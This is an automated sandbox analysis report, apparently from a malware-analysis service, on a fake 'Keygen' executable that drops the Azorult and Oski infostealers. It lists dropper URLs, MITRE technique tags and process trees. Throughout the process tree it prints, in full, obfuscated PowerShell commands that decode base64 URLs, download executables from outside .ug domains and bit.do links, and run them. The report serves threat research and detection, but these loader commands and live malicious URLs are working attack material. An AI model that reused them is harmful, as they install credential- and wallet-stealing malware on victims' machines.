azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
22s
max time network
155s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (58) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

11 2396 powershell.exe
12 2368 powershell.exe
14 2396 powershell.exe
16 2368 powershell.exe
19 4472 powershell.exe
26 4472 powershell.exe
Downloads MZ/PE file

flow	pid	process
11	2396	powershell.exe
12	2368	powershell.exe
14	2396	powershell.exe
16	2368	powershell.exe
19	4472	powershell.exe
26	4472	powershell.exe

Executes dropped EXE 16 IoCs

Processes:

Keygen.exeirk.exernq.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exernq.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeijy.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeijy.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeirk.exeirk.exe

pid	process
828	Keygen.exe
4968	irk.exe
5024	rnq.exe
4180	FVjhgtresfdbv.exe
4212	NHtrdsaghfDF.exe
4312	rnq.exe
4328	NHtrdsaghfDF.exe
4368	FVjhgtresfdbv.exe
4856	ijy.exe
4908	FVjhgtresfdbv.exe
4924	NHtrdsaghfDF.exe
4300	ijy.exe
4948	FVjhgtresfdbv.exe
5020	NHtrdsaghfDF.exe
1700	irk.exe
2064	irk.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4368 FVjhgtresfdbv.exe
4368 FVjhgtresfdbv.exe
4368 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4368	FVjhgtresfdbv.exe
4368	FVjhgtresfdbv.exe
4368	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

rnq.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeijy.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeirk.exe

description	pid	process	target process
PID 5024 set thread context of 4312	5024	rnq.exe	rnq.exe
PID 4212 set thread context of 4328	4212	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4180 set thread context of 4368	4180	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4856 set thread context of 4300	4856	ijy.exe	ijy.exe
PID 4924 set thread context of 5020	4924	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4908 set thread context of 4948	4908	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4968 set thread context of 2064	4968	irk.exe	irk.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1488 timeout.exe
1144 timeout.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
1488	timeout.exe
1144	timeout.exe

Modifies registry class 2 IoCs

Processes:

cmd.exeirk.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	irk.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeirk.exe

pid	process
2368	powershell.exe
1260	powershell.exe
2396	powershell.exe
2364	powershell.exe
2364	powershell.exe
2368	powershell.exe
2396	powershell.exe
1260	powershell.exe
2368	powershell.exe
1260	powershell.exe
2396	powershell.exe
2364	powershell.exe
4472	powershell.exe
4472	powershell.exe
4644	powershell.exe
4644	powershell.exe
4472	powershell.exe
4644	powershell.exe
4472	powershell.exe
4644	powershell.exe
4968	irk.exe
4968	irk.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

rnq.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeijy.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

5024 rnq.exe
4212 NHtrdsaghfDF.exe
4180 FVjhgtresfdbv.exe
4856 ijy.exe
4924 NHtrdsaghfDF.exe
4908 FVjhgtresfdbv.exe

pid	process
5024	rnq.exe
4212	NHtrdsaghfDF.exe
4180	FVjhgtresfdbv.exe
4856	ijy.exe
4924	NHtrdsaghfDF.exe
4908	FVjhgtresfdbv.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeirk.exe

description	pid	process
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	4968	irk.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exernq.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeijy.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

828 Keygen.exe
5024 rnq.exe
4180 FVjhgtresfdbv.exe
4212 NHtrdsaghfDF.exe
4856 ijy.exe
4924 NHtrdsaghfDF.exe
4908 FVjhgtresfdbv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (58) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exernq.exe

description	pid	process	target process
PID 720 wrote to memory of 664	720	Keygen — копия (58) — копия.exe	cmd.exe
PID 720 wrote to memory of 664	720	Keygen — копия (58) — копия.exe	cmd.exe
PID 720 wrote to memory of 664	720	Keygen — копия (58) — копия.exe	cmd.exe
PID 664 wrote to memory of 828	664	cmd.exe	Keygen.exe
PID 664 wrote to memory of 828	664	cmd.exe	Keygen.exe
PID 664 wrote to memory of 828	664	cmd.exe	Keygen.exe
PID 664 wrote to memory of 1208	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1208	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1208	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1348	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1348	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1348	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1488	664	cmd.exe	timeout.exe
PID 664 wrote to memory of 1488	664	cmd.exe	timeout.exe
PID 664 wrote to memory of 1488	664	cmd.exe	timeout.exe
PID 1208 wrote to memory of 2368	1208	mshta.exe	powershell.exe
PID 1208 wrote to memory of 2368	1208	mshta.exe	powershell.exe
PID 1208 wrote to memory of 2368	1208	mshta.exe	powershell.exe
PID 1348 wrote to memory of 2364	1348	mshta.exe	powershell.exe
PID 1348 wrote to memory of 2364	1348	mshta.exe	powershell.exe
PID 1348 wrote to memory of 2364	1348	mshta.exe	powershell.exe
PID 664 wrote to memory of 2840	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 2840	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 2840	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 3608	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 3608	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 3608	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 1144	664	cmd.exe	timeout.exe
PID 664 wrote to memory of 1144	664	cmd.exe	timeout.exe
PID 664 wrote to memory of 1144	664	cmd.exe	timeout.exe
PID 2840 wrote to memory of 2396	2840	mshta.exe	powershell.exe
PID 2840 wrote to memory of 2396	2840	mshta.exe	powershell.exe
PID 2840 wrote to memory of 2396	2840	mshta.exe	powershell.exe
PID 3608 wrote to memory of 1260	3608	mshta.exe	powershell.exe
PID 3608 wrote to memory of 1260	3608	mshta.exe	powershell.exe
PID 3608 wrote to memory of 1260	3608	mshta.exe	powershell.exe
PID 664 wrote to memory of 4400	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 4400	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 4400	664	cmd.exe	mshta.exe
PID 4400 wrote to memory of 4472	4400	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4472	4400	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4472	4400	mshta.exe	powershell.exe
PID 664 wrote to memory of 4552	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 4552	664	cmd.exe	mshta.exe
PID 664 wrote to memory of 4552	664	cmd.exe	mshta.exe
PID 4552 wrote to memory of 4644	4552	mshta.exe	powershell.exe
PID 4552 wrote to memory of 4644	4552	mshta.exe	powershell.exe
PID 4552 wrote to memory of 4644	4552	mshta.exe	powershell.exe
PID 2396 wrote to memory of 4968	2396	powershell.exe	irk.exe
PID 2396 wrote to memory of 4968	2396	powershell.exe	irk.exe
PID 2396 wrote to memory of 4968	2396	powershell.exe	irk.exe
PID 2368 wrote to memory of 5024	2368	powershell.exe	rnq.exe
PID 2368 wrote to memory of 5024	2368	powershell.exe	rnq.exe
PID 2368 wrote to memory of 5024	2368	powershell.exe	rnq.exe
PID 5024 wrote to memory of 4180	5024	rnq.exe	FVjhgtresfdbv.exe
PID 5024 wrote to memory of 4180	5024	rnq.exe	FVjhgtresfdbv.exe
PID 5024 wrote to memory of 4180	5024	rnq.exe	FVjhgtresfdbv.exe
PID 5024 wrote to memory of 4212	5024	rnq.exe	NHtrdsaghfDF.exe
PID 5024 wrote to memory of 4212	5024	rnq.exe	NHtrdsaghfDF.exe
PID 5024 wrote to memory of 4212	5024	rnq.exe	NHtrdsaghfDF.exe
PID 5024 wrote to memory of 4312	5024	rnq.exe	rnq.exe
PID 5024 wrote to memory of 4312	5024	rnq.exe	rnq.exe
PID 5024 wrote to memory of 4312	5024	rnq.exe	rnq.exe
PID 5024 wrote to memory of 4312	5024	rnq.exe	rnq.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (58) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (58) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E5D.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (58) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:664

C:\Users\Admin\AppData\Local\Temp\E5D.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:828

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E5D.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368

C:\Users\Public\rnq.exe
"C:\Users\Public\rnq.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5024

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4180

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4368

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4212

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4328

C:\Users\Public\rnq.exe
"C:\Users\Public\rnq.exe"
6⤵
- Executes dropped EXE
PID:4312

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E5D.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1488

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E5D.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2396

C:\Users\Public\irk.exe
"C:\Users\Public\irk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4968

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:480

C:\Users\Public\irk.exe
"C:\Users\Public\irk.exe"
6⤵
- Executes dropped EXE
PID:1700

C:\Users\Public\irk.exe
"C:\Users\Public\irk.exe"
6⤵
- Executes dropped EXE
PID:2064

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E5D.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1144

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E5D.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4472

C:\Users\Public\ijy.exe
"C:\Users\Public\ijy.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4856

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4908

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:4948

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4924

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:5020

C:\Users\Public\ijy.exe
"C:\Users\Public\ijy.exe"
6⤵
- Executes dropped EXE
PID:4300

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E5D.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4552

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, 